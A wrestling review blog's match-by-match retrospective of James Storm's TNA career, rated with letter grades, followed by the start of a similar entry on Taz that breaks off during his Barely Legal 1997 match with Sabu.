
I think everyone but Harris is bleeding. Triple X gets rammed into the cage multiple times but Skipper grabs a belly to belly to Harris. A suplex/cross body combo gets two. Hart Attack gets two on Skipper. Daniels hits a quick Downward Spiral to Storm and Harris goes into the steel. Harris is busted too. Death Sentence (AMW’s finisher) gets two on Harris who kicks out.

Skipper goes to the top of the cage (I don’t think you can win by escape) to Harris POWERBOMBS HIM OFF THE CAGE for two. FOR TWO. Angel’s Wings gets two for Daniels. Daniels goes up but Harris follows him. Now it’s time for the highlight reel moment to end all highlight reel moments in TNA. Skipper is sitting on another corner than Harris and TIGHTROPE WALKS THE EDGE OF THE CAGE AND HURRICANRANAS HARRIS TO THE MAT!!! WOW!

Daniels IMMEDIATELY drops an elbow off the top of the cage BUT IT GETS TWO. Daniels goes back up as we watch replays for a four man Tower of Doom. Daniels overrotates and lands on his face. Harris powerbombed Skipper who electric chaired Storm who suplexed Daniels. Everyone is pretty much dead but Skipper and Harris counter each others’ finishers. Everyone knocks everyone else down and Harris handcuffs Daniels to the cage in a nice play off what happened to him earlier. Last Call to Skipper and AMW pins him with XXX’s PowerPlex to split up XXX.

Rating: A+. What else did you expect me to give this? This match holds up incredibly well with the few moments from the cage walk to the Tower of Doom being as breathtaking as you’ll ever see. Absolutely awesome match and if you’re a fan of bloodbath cage matches that leave your jaw hanging open, find this right now because it’s excellent.

Since AMW dominated for SO long, we’ll jump ahead to Bound For Glory 2005. AMW is now a heel team and their opponents here have given them more headaches than any other team in history.

Tag Titles: America’s Most Wanted vs. The Naturals

I can never remember which one is Stevens and which one is Douglas. It’s a big brawl on the floor to start with the Naturals in control. Ok Douglas has the bandage on his head. Got it. Storm gets powerbombed into the railing which looked SICK. The challengers get Harris in the ring and beat him down in the corner. Storm is walking out on the match. The Naturals go back and get him because it’s about revenge more than the titles. I can live with that if it’s done right and it has been here.

We’re over three minutes into this and there has been no tagging or one on one in the ring at all so far. Harris gets choked by both Naturals on the floor until they get bored and Douglas goes after Storm. Gail finally does something and distracts Douglas, allowing Storm to send him into the Ultimate X structure. Douglas’ cut is busted open now. Five minuets in now and they’re in the ring but it’s still 2-1.

Ok it’s FINALLY Storm vs. Douglas. Eye of the Storm gets two and Harris comes in without a tag. Stevens comes in after Douglas was in trouble for about a minute. Douglas is bleeding pretty good though so that likely has something to do with it. A Naturals double team gets two on Storm. The move that would later be named the Last Call misses and Stevens hits a kick of his own for two.

Gail throws in some powder to Harris but Chase Stevens knocks it into the Wildcat’s face. Harris hits the Catatonic (spinning Rock Bottom, his finisher) on Storm. The Naturals hit the Death Sentence on Harris but it only gets two. Gail breaks up the Natural Disaster (double team elevated Stunner) so Douglas goes to the floor and grabs her by the hair. The distraction lets Harris handcuff Douglas to the barricade. Stevens his an enziguri on Storm but Harris busts a bottle over Stevens’ head and the Death Sentence retains the title.

Rating: B. WOW. This was only about ten minutes long but they flat out DO NOT STOP the whole time. It’s a wild brawl and I bought into the revenge that the Naturals were wanting the whole way. The biggest criticism of the Naturals is that they have no charisma, but man they were bringing it here and the match WORKED. Very good stuff. AMW would hold the titles for over eight months until the dream team of Styles and Daniels took them away.

The next major challengers were AJ Styles and Christopher Daniels, billed as a dream team. AMW’s manager Gail Kim cheated to keep the belts on her men, but a rematch took place at Sacrifice 2006.

Tag Titles: America’s Most Wanted vs. Christopher Daniels/AJ Styles

Styles and Daniels jump the champions to start and Daniels/Harris go to the floor so AJ can hit the dropdown dropkick on the Cowboy. Daniels comes in and we’re ready to go. He takes Storm down and cranks on the arm but it’s off to Harris who runs Daniels over. The challengers double team Storm and Harris’ full nelson slam is countered into a bridging Indian Deathlock with a chinlock but the Cowboy makes the save.

Styles comes in legally now and the challengers tag in and out quickly to work on the arm. AMW finally starts cheating and get Daniels into the corner to take over. The champs cheat like true heel champions would do with choking and face pulling before Harris hooks a chinlock. A back elbow gets two on the Fallen Angel. Daniels counters an Irish whip to send Storm’s shoulder into the post and it’s hot tag to AJ.

AJ speeds things way up with his headscissors but Storm makes the save. Daniels gets tagged back in for some reason and we get a Tower of Doom with Daniels on top. Oh scratch that as he shoves the Tower down and hits a top rope cross body for two on Harris. I wish AMW would have their names on their trunks because when their backs are to the camera it’s very hard to tell them apart.

Daniels throws Harris into the crowd and AJ dives from the top rope over the barrier and onto Harris. The match kind of breaks down a bit and everyone is on the floor. A fan has a box of cereal for some reason. Back in and Daniels breaks up the Death Sentence before putting Harris into a fireman’s carry. AJ hits the Pele before the DVD hits to kill Harris dead. BME misses but the Last Call does as well. Harris hits his spear to take Daniels down for two.

It’s Storm vs. Daniels legally now but Daniels hits a double clothesline to bring in Styles. AJ goes up high with a double clothesline of his own but he charges into a boot from Storm. AJ loads up a superplex but Harris makes the save, resulting in a Doomsday Device into a reverse tornado DDT by Storm for two. That looked awesome.

Daniels comes back in for the save and the challengers hit a BME/Frog Splash combo for two on Storm. Styles tries the Clash but the Cowboy escapes with a low blow and the superkick for two. Angel’s Wings hits Storm for two as Harris makes the save. This is getting awesome. Daniels, Harris and the referee get knocked to the floor and something falls from the rafters into the ring. It’s a nightstick and Gail Kim is seen in the rafters. AJ hits the Clash on Storm but Harris blasts him in the back of the head with the nightstick for the pin to retain.

Rating: B+. This was getting awesome at the end but we had to have Gail Kim interfere to end the thing. This would set up another match at Slammiversary which wasn’t as good but it gave us the title change which we needed. Still though, this was the old school idea of putting four guys out there and giving them fifteen minutes to have a great match. As usual, it worked.

The team would eventually split with Storm turning heel and blinding Harris with a beer bottle. The first match at Lockdown sucked, but the rematch at Sacrifice 2007 was a bit better.

Chris Harris vs. James Storm

This is a Texas Death Match, which is last man standing but you have to get a pin or submission before the ten count begins. Both guys are in street clothes. In a cool visual, Harris rips up an AMW shirt on his way to the ring. This feels like it’s going to be awesome which is a very good sign. They slug it out in the aisle and Harris has the trademark handcuffs.

They go into the crowd almost immediately and Storm is running away. They’re in the back row of the arena and Storm is almost thrown over the wall in the back. I wonder what’s back there. Maybe it’s where they keep Shark Boy? All Harris so far as they head to the ring. Storm throws a drink in Harris’ face to shift momentum but Storm gets thrown into a wall to changes things right back again.

Harris is in the ring alone and has a beer and a chair. Storm is still over the railing so Harris hits a HUGE dive over the railing to kill Storm dead and gets a pin. Storm is up at 8 though. Harris goes up again but Storm knocks him off and gets his leg tied up in the ropes so that he’s in a Tree of Woe but hanging outside the ropes. Storm cracks him with a chair to the head and Harris is busted.

It’s Table Time as Harris is placed on the top rope. He avoids a hurricanrana and counters a sunset flip (???) into a Sharpshooter of all things. Well it takes out the legs so that makes sense. He can’t get it on so he kicks Storm in the balls. He catapults Storm face first into the bottom of the table, cutting him open on the metal part. FREAKING OW MAN!!! Harris can’t suplex him through the table so Storm kicks him low to balance things out.

Storm hits the Eye of the Storm to put Harris through the table. That looked awesome and it gets an academic pin but only gets nine. Here’s another table brought in by the Cowboy. He falls down trying to get it in though, probably due to blood loss. The table is on the outside but Storm can’t hit another Eye over the top. Harris goes to the apron and gets caught in an Elevated DDT for no cover.

Storm brings in various basic hardcore weapons but as he’s getting in himself, Harris spears him through the ropes to put him through the table. Not exactly Foley vs. Edge but not bad. Back in, Harris picks up a chair and Storm superkicks it into his face for two. Storm is STUNNED. You can’t see Storm’s face. It’s literally a crimson mask. They trade HARD trashcan lid shots and Harris hits the Catatonic (spinning Rock Bottom) onto a trashcan for two.

Now the match gets taken down a peg because Jackie Freaking Moore has to get involved. WHY DOES SHE ALWAYS HAVE A JOB??? She isn’t attractive, she’s nothing special in the ring, she’s always getting in the way, and NO ONE FREAKING CARES ABOUT HER. And if you say you do, you’re lying. Gail Kim comes out and cuffs her so she can drag her out of here. Both guys have beer bottles and Harris gets a shot to the head of Storm for the pin and the ten count. Perfect way to end it.

Rating: A. GREAT brawl and war here which is exactly what they needed to do. Tenay and West freak out and say how great it is and for once this year, they’re right. This was a blood war and Storm’s face is absolutely scary given how much blood there was on it. Great match and absolutely worth seeing based on the level of violence here.

Speaking of gimmick matches, here’s one of the ones that didn’t last long. From Destination X 2008.

Elevation X: Rhyno vs. James Storm

Beer Money would be coming soon enough to end this feud. Considering we have two matches left and 35 minutes or so on the show, I have a bad feeling about this. Rhyno slips climbing up as you can already see how stupid this is. Storm goes down as Rhyno comes up. Rhyno throws beers that Storm had on top of the X with him at Storm.

We’re fighting on the floor now in a scaffold match. A table is set up by the former world champion and I already hate this match. This is a GREAT scaffold match guys. Them being a full FOUR FEET off the ground is great here. Jackie gets chased by Rhyno and of course climbs the scaffold. She goes down and we start the match only 7 minutes after the bell rings.

We keep looking to the crowd to see the fans all concerned despite them crawling or sitting on the X. Rhyno almost falls but lands on another part of the X. This is just them hanging on and punching each other. The fans WANT WRESTLING. The X is covered by red wood and has metal bars under that. Storm hides on the bars so Rhyno can’t see Storm. This is like some bad action movie minus the action. Rhyno rips the wood up and grabs Storm to get him out. This is beyond description of awfulness. Storm hangs from underneath and gets kicked into a perfectly placed table to end this monstrosity.

Rating: F-. As the fans said, WE WANT WRESTLING. This of course was the longest match of the night and by far the worst. They show the fall again and you see that it would be like the height Jeff gets on a Swanton Bomb. At least it’s over and this would only happen one other time, I believe after this.

Storm would soon form a new team with Bobby Roode called Beer Money. Their first shot at the belts came at Hard Justice 2008.

Tag Titles: Beer Money vs. LAX

The same rapper from earlier sings LAX to the ring. Well this does result in Salinas shaking her hips so it’s not all bad. Beer Money beat up Homicide on Impact and hurt his eye. Roode vs. SuperMex gets us going officially but there’s enough double teaming that it’s hard to tell for sure. Storm gets beaten up too and takes a 30 second delayed vertical suplex. Hernandez is scary strong.

Storm heads to the floor and Hernandez hits a huge dive to take Beer Money out. Homicide comes in to beat on Roode in revenge for the eye injury. Storm spits beer at Homicide to blind him and take over. They work over the eye and the neck a bit with Storm pounding away at it. The bandage is off. A tilt-a-whirl backbreaker by Roode gets two. The challengers hit a double suplex and shout their names.

An Orton elevated DDT gets two. Off to one of the least convincing chinlocks I’ve ever seen from Storm. It looks like he’s cuddling Homicide. Roode uses Three Amigos to some solid heel heat but really gets them mad by slapping his chest. A frog splash misses and both guys are down. Hernandez claps for Homicide and has some small hands. There’s the hot tag and it’s time for power moves.

Beer Money double teams him to get him down and the blockbuster gets two. SuperMex hits a double clothesline and tags Homicide in again which is probably not all that smart. He hits a frog splash of his own for two as Storm kicks out. The tagging aspect has been forgotten here. Roode hits his spinebuster and Storm hits a Backstabber to the back of Hernandez.

The champs are both down in the ring and Beer Money is on the floor. Hernandez uses Homicide as a missile and Border Tosses him on top of Beer Money. Salinas and Jackie fight on the floor and the distraction lets Roode break a beer bottle over Homicide’s eye for the easy pin by Storm for the titles.

Rating: B. Another good match from Beer Money as they know how to use a tag team formula as well as almost any modern team. LAX is a team I never got the universal appeal of but they were pretty good here. The eye injury was a good help to the story for the most part and we got a solid match out of it. Good stuff.

What would a tag team be if they didn’t face the Dudleys? Team 3D has the belts here but Beer Money won a tournament to get a shot at Slammiversary 2009.

Tag Titles: Beer Money vs. Team 3D

3D was in Japan last night so they’re a bit spent. They’re the IWGP tag champions but that doesn’t mean much here. D-Von vs. Storm to start us off. Basic start and it’s off to Roode and the double teaming begins. Roode tries to hammer on Ray and that just fails completely. Ray chops away in the corner and a HUGE German sends Roode into near death.

Double teaming takes Beer Money down but it’s off to Storm vs. D-Von with the alcoholic taking over. Down goes Storm and there’s the double tag. Bubba Bomb gets two and everything breaks down again. What’s Up to Roode and it’s Table Time. Storm is almost put through one on the floor but instead Roode hits a spinebuster for two. There’s the Beer Money shout.

And here come the Brits because we haven’t had a run-in in awhile I guess. This was a three way feud for awhile and the fans chant USA for a bit. They sit in on commentary a bit while West uses a BAD British accent. We actually go split screen because we need to see the commentators TALKING right? Oh good they got rid of it. Now they’re just showing the commentators instead. This company makes my head hurt badly.

D-Von gets a hot tag if you’re interested in the match. He cleans house and gets a left armed Rock Bottom for two. I think they hit 3D II (the belly to back neckbreaker) but we need to see Magnus talking about a cross body instead of the move. Storm hits a cross body to take out both guys and then a Doomsday Device is broken up. Storm hits a top rope rana to set up a top rope splash from Roode to D-Von for two.

Ray breaks up a double superplex attempt on D-Von and the Doomsday Device gets two on Roode. The beer spit goes into Roode’s eyes (as always) and 3D hits 3D on Roode but Terry pops up on the apron. BUBBA DIVES OFF THE TOP TO THE FLOOR TO TAKE OUT THE BRITS!!!! WOW!!!!! Williams is knocked through the table but Last Call and DWI give Beer Money the belts.

Rating: B. This would have been high but the Brits were a bit annoying. They were playing this up almost like the chess match but it couldn’t quite hit the level of epic that they were going for I don’t think. Still though, good stuff from two great teams, back in the day when the TNA tag division really was awesome, especially with the Guns floating around out there somewhere.

We’ll skip ahead a bit more since Beer Money was around a LONG time. Here’s one of their matches with a team that needs no introduction. From Victory Road 2010.

Tag Titles: Beer Money vs. Motor City Machine Guns

Ok so the Guns more or less have to win here. I like the Guns’ music. Storm and Shelley start us off. They’re doing a slow build to start us off as Taz says the Guns are the best team from their city, including the Tigers. Uh, deep? We get a Mel Torme reference of all things as we’re talking about tap dancing. Beer Money takes over and after a double vertical suplex they do their thing.

Shelley is getting beaten on. This is a good match so far so it’s hard to make jokes. Well other than Taz and Tenay who are always jokes. Ah there’s Sabin. I like him better than Shelley I think. We crank it up a bit and Sabin hits a running punt on Storm while he’s on the apron and Storm is on the floor. The crowd is getting back into it a bit too. Eye of the Storm gets two on Sabin.

I’m sorry for the excessive play by play here but that’s the main thing going on here. That made less than no sense but just go with it. We’ve lost any resemblance of a tag match here as it’s just all insanity. Maybe Heyman is booking the company. Everything just goes insane and this is awesome for once. The Guns dominate as Storm has a beer bottle. The referee gets beer spit in his face as the Guns hit a combination splash/neckbreaker on Roode for two.

There’s another referee here now and I have a bad feeling about this. It’s ALL Guns here as we’re going fast paced here. They hit their kick combination and cover Roode as Storm rolls Sabin up. The referees count a double pin and it’s Dusty Finish time. Earl, not the original referee, says restart it. The Guns win in like a minute with the same thing they did earlier, making the restart TOTALLY POINTLESS. Very good match though so I can’t complain much.

Rating: A-. This was a VERY good match. The main thing holding it back is the restart which was the walking definition of overbooking. What in the world is that supposed to help? Whatever it was I certainly don’t get it. The Guns are the champions, albeit nearly three years later. Still though, if they’re going to win them, at least win them in a classic I guess. Very good match all the way through. Loved it.

The team would turn face eventually and start doing a lot more singles stuff. Roode would win the BFG Series in 2011 but lose in the title match at Bound For Glory. Storm however got a shot on October 20, 2011.

TNA World Title: Kurt Angle vs. James Storm

The bell is ringing at 10:55 so this is going to be short. Angle pounds him down in the corner but brags too much. He walks into a superkick and Storm is champion at 1:20. Well they can’t make it much more definitive than that.

Roode would turn on his partner two weeks later to win the belt. Storm would lose what should have been the easiest layup ever for TNA in his home state at Lockdown 2012, but TNA felt the SWERVE was the better choice. Storm would take time off afterwards before answering an open challenge at Slammiversary 2012.

Crimson vs. ???

Crimson runs down Texas a bit and says he’ll fight a Maverick, a Ranger or a Cowboy if he has to. The opponent is…..JAMES STORM? Oh yeah the streak is done. The match starts fast and Crimson is quickly clotheslined to the floor. Storm has the old trenchcoat too. We get some hard chops in the corner but Crimson comes back with a shot to the head. There goes the coat and Storm is in some trouble. Storm shrugs all that off, hits the Codebreaker which has another name that I can’t remember, seems to go into a seizure, and hits the Last Call to end the streak at 2:09.

Storm would get another chance at Roode at BFG 2012.

James Storm vs. Bobby Roode

MMA fighter King Mo is guest outside referee for no apparent reason. Storm takes over to start and hits a fast backdrop. We head to the floor with Storm in control. He hits Roode in the back with a chair but Roode sends him into the barricade to counter. Storm leg sweeps him into the barricade as well and Roode is in trouble early. Bobby comes back and sends Storm into the post, busting him open. Well at least they’re not waiting on bringing the violence here.

We get the weapons thrown into the ring and the fans want tables, because what would a street fight be without tables? Oh man Storm’s cut is a gusher. Roode puts a chair between the top and middle ropes, allowing James to come back with some kendo stick shots to the ribs. Storm hits a trashcan into Bobby’s balls using a kendo stick like a golf club to make Roode vibrate on the mat.

They head to the ramp with Storm hitting a DDT on the I guess wood. Storm jabs Roode in the ribs with a fan’s crutch and DESTROYS him with a trashcan. Mo hasn’t been a factor yet. Roode snaps off a spinebuster onto the ramp out of nowhere to give himself a breather. Storm grabs a fan’s beer for a quick refreshment. They head to the announce table and Roode kind of spears Storm through the other table to take over. There is blood EVERYWHERE. That gets two back in the ring and Roode yells at Hebner, which gets him in trouble with Mo.

The distraction lets Storm hit the Codebreaker and Last Call….for two. I’m glad that was only two as it would have been a pretty weak ending. Another superkick is caught and Storm is sent face first into the chair Roode set up in the corner a long time ago. That gets two so Roode puts Storm on the top rope. He gets a chair for a hard shot to the head and busts out the bag of thumbtacks. See, now that it’s been awhile since we’ve done this, it means something again. Roode tries a superplex onto the tacks but gets shoved down into them in a painful looking spot.

Storm drops a top rope elbow for two but Roode hits him low to stop Storm’s comeback. Roode goes to the floor and gets a beer bottle which is what started this whole thing. Storm hits Bobby low, takes a drink of the beer, and cracks the bottle over Roode’s head. Storm stands him up, and with Roode out on his feet, a second Last Call sends Roode into the tacks for the pin at 17:27. King Mo was barely a factor here and didn’t need to be around at all.

Rating: B+. In short, the cage match was better. That’s all this boils down to: the match at Lockdown was one of the best built up matches I can remember in a long time but they extended the feud because that’s what seemed like the right idea. Now don’t get me wrong: this was a great brawl and a good bloodbath and it had the perfect ending to the feud, but the feud didn’t need to be here, or at least not with Storm losing the second match. This is like Rock beating Austin at Wrestlemania 19 with nothing on the line. It’s a very good match, but it doesn’t mean as much.

Storm would enter the Joker’s Wild competition at a One Night Only show and make the finals.

Gauntlet Battle Royal

It’s basically a 12 man Royal Rumble meaning you eliminate people by going over the top and the winner get the money. Storm is #1 and Roode is #2. I think there are two minute intervals between entrants here. Roode sends him into the corner to start and pounds away as the announcers make thinly veiled references to the Royal Rumble. Storm comes back with an atomic drop and a backdrop before pounding away in the corner. Roode holds off elimination until D-Von is #3. That would put the intervals at about 90 seconds.

Storm gets double teamed for the entire time as Doc is #4. Seriously, there was nothing to talk about in that whole stretch. The bikers beat on the former Beer Money as Tazz asks what kind of a roller coaster he is. Storm gets up a boot in the corner and D-Von is in trouble. A double suplex puts Doc down and a double clothesline puts him out. D-Von clotheslines both guys down and Jesse Godderz is #5.

D-Von chokes Storm in the corner as Roode beats on Godderz. Bobby tries to put Storm out but Jesse the idiot breaks it up. Christian York is #6 as everyone fights each other. D-Von takes turns beating on Godderz and York as Beer Money continues their eternal feud. Joseph Park is #7 and appears to be sweating before he makes it to the ring. Now the intervals are at two minutes.

Roode offers an alliance with Park but kicks him in the ribs instead. Park runs him over before pounding on York in the corner, only to be hit low by D-Von. We’re into your standard battle royal formula here: a lot of stomping and punching near the ropes with the occasional attempted elimination. Mr. Anderson is #8 and still showing no indication of being part of Aces and 8’s here. He chops Jesse and hands him to Park for the easy elimination.

Now Anderson goes after Park for a bit before heading towards D-Von. The camera cuts away and once we go back, it’s Anderson working on Storm. Nice editing there. Park has D-Von in trouble in the corner but he sneaks back in. Daniels is #9 and you know he’s strutting on the way to the ring. He and Roode team up to have Park in trouble but an eye rake keeps the big man safe. Daniels is the only one doing much at the moment as we’re firmly in the battle royal lull.

Samoa Joe is #10 and he goes right for Daniels with rapid fire right hands. Now he’s after D-Von as Tazz freaks out. York and Daniels both survive elimination attempts and not a lot else happens at the moment. Rob Terry is #11 which means Morgan is #12. Terry starts cleaning house with clotheslines and throws out York to clear some space. Daniels joins York on the floor at Terry’s hands before Anderson misses a charge and goes out as well.

Here’s Morgan at #12, giving us a final grouping of Storm, Roode, D-Von, Park, Joe, Terry and Morgan. Terry tells Morgan to bring it on but D-Von and Park break up the staredown. Now it’s Park vs. Morgan and Joseph is out before I can finish typing that. Joe gets a running start at Morgan but is easily tossed out as well to get us down to five. A very low blow from Morgan is enough to eliminate Terry so we’ve got D-Von, Roode, Storm and Morgan.

Speaking of Morgan, he misses the Carbon Footprint and hits the ropes, allowing Storm to forearm him out. With the referee not looking, Knux of Aces and 8’s comes out and pulls Roode through the ropes and out to the floor. Knux tries to cheat again but D-Von hits him by mistake, allowing Storm to toss D-Von. Roode throws Storm over but makes the eternal mistake of not watching him the floor. One Last Call later and Storm wins the money.

Rating: D+. It’s a battle royal. What else do you want me to say here? It followed the same plot that almost all matches like this one follow, meaning it was ok once in awhile but for the most part there’s nothing of note to see. Storm winning is fine, although I’m really getting tired of people going bell to bell in battle royals. We get it: it’s something impressive. Let it rest already.

Since it’s James Storm, he would be put in another tag team and get a shot at the belts at Slammiversary 2013.

Tag Titles: James Storm/Gunner vs. Hernandez/Chavo Guerrero vs. Bad Influence vs. Bobby Roode/Austin Aries

Chavo and Hernandez are defending, this is under elimination rules and Storm has a badly hurt leg. Chavo and Daniels get things going with Daniels getting caught between right hands from both champions. Off to SuperMex to face Aries, with the latter jumping into a fall away slam. Back to Chavo who immediately pulls the now legal Roode into a headlock. Off to Storm vs. Roode and James can actually move. He throws a few right hands to take Roode down and it’s off to Gunner.

Bobby tags in Gunner as everything breaks down. Hernandez puts Roode on his shoulder for the backbreaker but Chavo suplexes Aries onto Hernandez’s other shoulder for a double backbreaker. That’s SCARY power. Storm and Gunner whip Roode and Aries into each other before Bad Influence comes in to stomp both guys down. Hernandez gets a running start to jump over the top rope and clothesline both guys down for two on Daniels. Kaz breaks up the delayed suplex on Daniels with a kick to Hernandez’s back before coming in legally.

After some more kicks to the legs of Hernandez it’s off to Roode for a stomping in the corner. Aries comes in with the slingshot hilo for two before putting on a front facelock. The fans chant for Aries but Hernandez suplexes both Aries and Roode down at the same time. Kaz gets the tag but Chavo comes in as well to clean house. There are Three Amigos to Kaz but Daniels sneaks in for Angel’s Wings on Chavo. Hernandez runs over Aries and Border Tosses Kaz, allowing the frog splash from Chavo to connect. Daniels breaks it up with a title belt for a DQ elimination at 10:52.

Aries immediately rolls up Chavo for the elimination at 11:10, leaving us with Aries/Roode and Storm/Gunner. Aries and Roode double team Gunner in the corner but he comes back with some running clotheslines. There’s the tag to Storm who pounds away on Roode and DDTs Aries down. Back to Gunner who catapults Aries into a Storm DDT for two. There’s the Gun Rack (Torture Rack) to Roode but Aries kicks Gunner in the ribs to break it up. The spinebuster from Roode sets up the 450 from Aries but it’s only good for two. Roode throws in a title belt but it’s the Last Call and Gun Rack to Aries for the submission and the titles at 16:28.

Rating: B. Another good match as this show is on a roll so far. I’m glad Storm is healthy enough to do the limited stuff he could do out there and Gunner looked solid as well. Hopefully we never have to see the other three teams fight again as the feud has been done to death already as the tag titles just need fresh blood now.

One last match as the team split and Gunner fought Storm in a last man standing cage match at Lockdown 2014.

James Storm vs. Gunner

New music and long tights for James tonight. They start fighting on the ramp and Storm gets in a good shot early. Gunner rams him into the cage and suplexes him on the floor before going to get some chairs. He throws three of them into the cage but Storm sends him into the steps to slow Gunner down. Storm sends him into the cage and slams the cage door on Gunner’s head. He demands a count and we get the opening bell followed by a four count.

Storm wedges a chair into the corner and takes Gunner down with a jumping DDT for five. Gunner tries to get up but gets choked down by a tag rope and dropped throat first across the top rope. James ties the rope around Gunner’s throat and ties it to the rope but Gunner rips it away, only to be taken down by a low blow. Gunner no sells some ramming into the buckle and rams his own head into the same buckle for good measure.

Some running knees including one to Storm’s head have Storm in trouble and Gunner pulls the top of the steps into the ring. A hard shot to James’ head gets eight but he comes back with a quick Closing Time (Codebreaker) before ramming Gunner into the chair in the corner. James blasts him in the back with the chair but Gunner is getting that look in his eyes. He fights up and scores with a spear and an F5 as the fans think this is awesome. Storm tries to grab the chair but Gunner stands on it to thwart the Cowboy’s plans.

Gunner slams him down again and goes up, only to have Storm throw the chair at Gunner’s head on the way down for seven. Another hard shot to the back gets five and Storm sets up some chairs in the ring. He loads up the Eye of the Storm but Gunner gets to the ropes in the corner. Both guys climb to the middle rope and ram each other into the cage until Gunner superplexes him through the chairs for the win at 12:02.

Rating: B. Good but not great last man standing match here as they beat a lot of tar out of each other. Gunner getting a win over a former world champion on pay per view isn’t going to hurt anything but I just don’t see a top level guy in him. The ending spot and chair pelting spot looked good and the match was a lot of fun, which is what matters here.

James Storm is one of the guys that has actually risen up the card throughout his career and deserves everything he gets. The guy is so over it’s unreal but for some reason TNA won’t give him a long run with the title. As badly as they are in need of fresh blood at the top of the roster, Storm would seem like a pretty obvious pick. The guy bleeds charisma and can have a good match so why not pull the trigger on him?

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Wrestler of the Day – April 30: Tazz

Survive this one if you can. Today is Taz.

 

Taz got his start down in Puerto Rico but we’ll pick him up in 1993 at a shot called Grand Slam in Minnesota.

Tasmaniac vs. Brad Rheingans

Rheingans is a big power guy, a former Olympian, and a hometown boy. Tasmaniac has curly hair over his face here, is insane, and has Oliver Humperdink in his corner. Brad grabs a hammerlock to start and it goes nowhere. Some headbutts have Rheingans in trouble and a clothesline puts him down. Rheingans grabs a headscissors and Tasmaniac has to fight out of it for a bit. Brad gets two off a neckbreaker as this is very basic so far.

Tasmaniac sends him out to the floor and into the apron a few times. That’s fine with Brad as he nails Tasmaniac in the head with a chair to only a limited effect. Back in and Tasmaniac stomps away but Brad grabs a belly to back suplex for two. Tasmaniac argues with the referee and gets rolled up for a pretty fast count and the pin.

Rating: D. For something so low level as this, there’s only so much complaining I can do. They were in a gym of some sort and it can only be that big of a match. Rheingans never did anything for me but he was a big deal around this part of the country, so having him on a glorified indy show wasn’t the worst idea in the world.

We’ll head to Taz’s signature promotion against his arch rival. From March 15, 1994.

TV Title: Sabu vs. Tasmaniac

Sabu is defending and it’s in ECW if that’s not clear. During this period, Sabu was brought to the ring on a standing stretcher ala Hannibal Lecter. He’s strapped down so Tasmaniac wisely jumps Sabu while he’s still on the board. The brawl starts in the aisle with Tasmaniac in control, only to get caught by an Asai Moonsault from Sabu into the crowd. Back in and Sabu misses a corner splash and gets suplexed out to the floor. They get back in for a cross armbreaker on Sabu as Paul Heyman is cheering him on from the floor.

Sabu fights up and comes back with a springboard legdrop to the back of the head for two. We hit the chinlock by the champion before it’s off to an armbar. They hit the mat for some technical stuff to Joey’s shock before Tasmaniac comes back with a Tazplex to put both guys down. Sabu misses a flip dive to the floor and crashes through a table but Heyman blasts him in the head with a phone. Heyman and Tasmaniac’s manager Woman nearly get in a fight but Woman’s real husband Kevin Sullivan comes out for the save. Tasmaniac grabs a superplex out of nowhere for the pin and the title.

Rating: D+. To the best of my knowledge, this was their first match ever against each other. While I don’t think it’s as great as some ECW fans likely do, this was a better match than I was expecting. First and foremost, they kept Sabu doing basic stuff instead of the weapons and the tables and all that jazz. The story was only kind of there, but that’s what you usually get with a TV Title match: just a random defense with no backstory. The match was acceptable.

We’ll jump ahead to when he was known as Taz and a much more serious character. First up, House Party 1996.

Taz vs. Hack Myers

Speaking of guys that are only good for the live crowd, I give you Hack Myers. He’s a biker that doesn’t do much other than punch and he’s called the Shah of Hardcore for no apparent reason. Fonzie comes out in a Dallas Cowboys jersey, making him more awesome than anything on this show so far. Myers works on the arm for a bit but Taz throws him down like a fly. You know, because you often throw over flies.

Joey talks about “these Ultimate Fighting PPVs” which have inspired guys like Taz. Taz rolls him down to the mat and puts on a hold of some sort on the neck. Myers sends him into the corner and elbows him in the back of the head to take over. Taz is like screw that and takes him down with a judo throw. Some more punches are countered by a T-Bone Tazplex followed by a head and arms Tazplex. A German Tazplex sets up the Tazmission for the tap.

Rating: D. Taz was pretty awesome with those suplexes but he needed more to work with here. Myers was a hometown favorite but man was he boring to watch for non-ECW fans. Taz would run through ECW for the next year or so before facing Sabu in the real main event of Barely Legal.

In early 1997, ECW managed to get on pay per view with a show called Barely Legal. Taz was in one of the main events, and somehow ECW got to promote the show on Raw. Here’s an ECW match from Raw on February 24, 1997.

Taz vs. Mikey Whipwreck

Whipwreck is a cool name. Nice amateur stuff from Taz. We don’t see the extreme aspects here which is what’s hurting the show. Lawler asks him about that and Heyman says why do that when we can do that on PPV? Taz DESTROYS him as we hear from Farooq. Notice the ECW matches have had interviews that have nothing to do with the show spliced in but we hear nothing during the WWF matches. Not saying it’s unfair as it’s a WWF show, just an observation. Sabu pops up on top of the Raw R and falls off which sums up his career pretty well. Tazmission completes the squash.

Rating: N/A. This was to make Taz look good and that certainly worked. Whipwreck would also get a lot better which was fun watching. This wasn’t much at all though but it did its job well enough I guess. Still though, would it kill you guys to tell us why Taz vs. Sabu is a big feud? They didn’t say it on Barely Legal either so it doesn’t really matter.

And now the Barely Legal match.

Taz vs. Sabu

This is one of the main events here. They’re former tag partners that hate each other now. They have been building to this match for a year, so that’s about all there is to it. The intro for Taz is great as he has his own entourage. No Jeremy Piven jokes coming. In a weird moment, we’re in a close up of Taz and Joey is talking about the Tazmission and Sabu jumps over the ropes for the introductions.

That just came from nowhere. I’ve yet to see a good match out of genie pants but we’ll see if it works here. Fonzie is Taz’s manager at this point too. Sabu manages to block the Tazmission which never happened back then. We’re doing a wrestling style here which I like a lot better than starting with wild brawling. It plays to Taz’s strengths better and I’d much rather have him calling the match rather than Sabu.

The man with more adjectives than Schoolhouse Rock has a broken nose from a Taz punch. Naturally we hit the crowd for a bit and of course Sabu does a huge spot to get there. After a lot of brawling that we couldn’t see any of because there were no cameras out there, we’re back in the ring and surprisingly on the mat. In something that I’m very glad about they’re doing about 80% standard stuff here which is really making me buy into this match more than before.

Sabu is trying to get a few shots in here and there which is actually working. Sabu gets a running springboard spot but misses everything. I mean Taz just stands there and watches him crash. They set up a table between the guard rail and the apron. Sabu goes for a swinging DDT and shocking no one, he winds up going through it in what looked like another botch. This match is certainly intense.

They’re definitely making sense here as when it’s slow paced Taz controls it but when it’s fast paced the guy that Van Dam carried to an allegedly good tag team is in control. In something I’ve never seen before, Sabu stands on the post and jumps to the ropes for a bigger bounce to hit a guillotine legdrop. Not bad at all. Taz just goes insane and starts suplexing the heck out of Sabu. Other than a quick break where Sabu uses a T-bone Tazplex and the Tazmission on Taz which is funny, Taz hits like three more suplexes to more or less kill Sabu and then the Tazmission is academic.

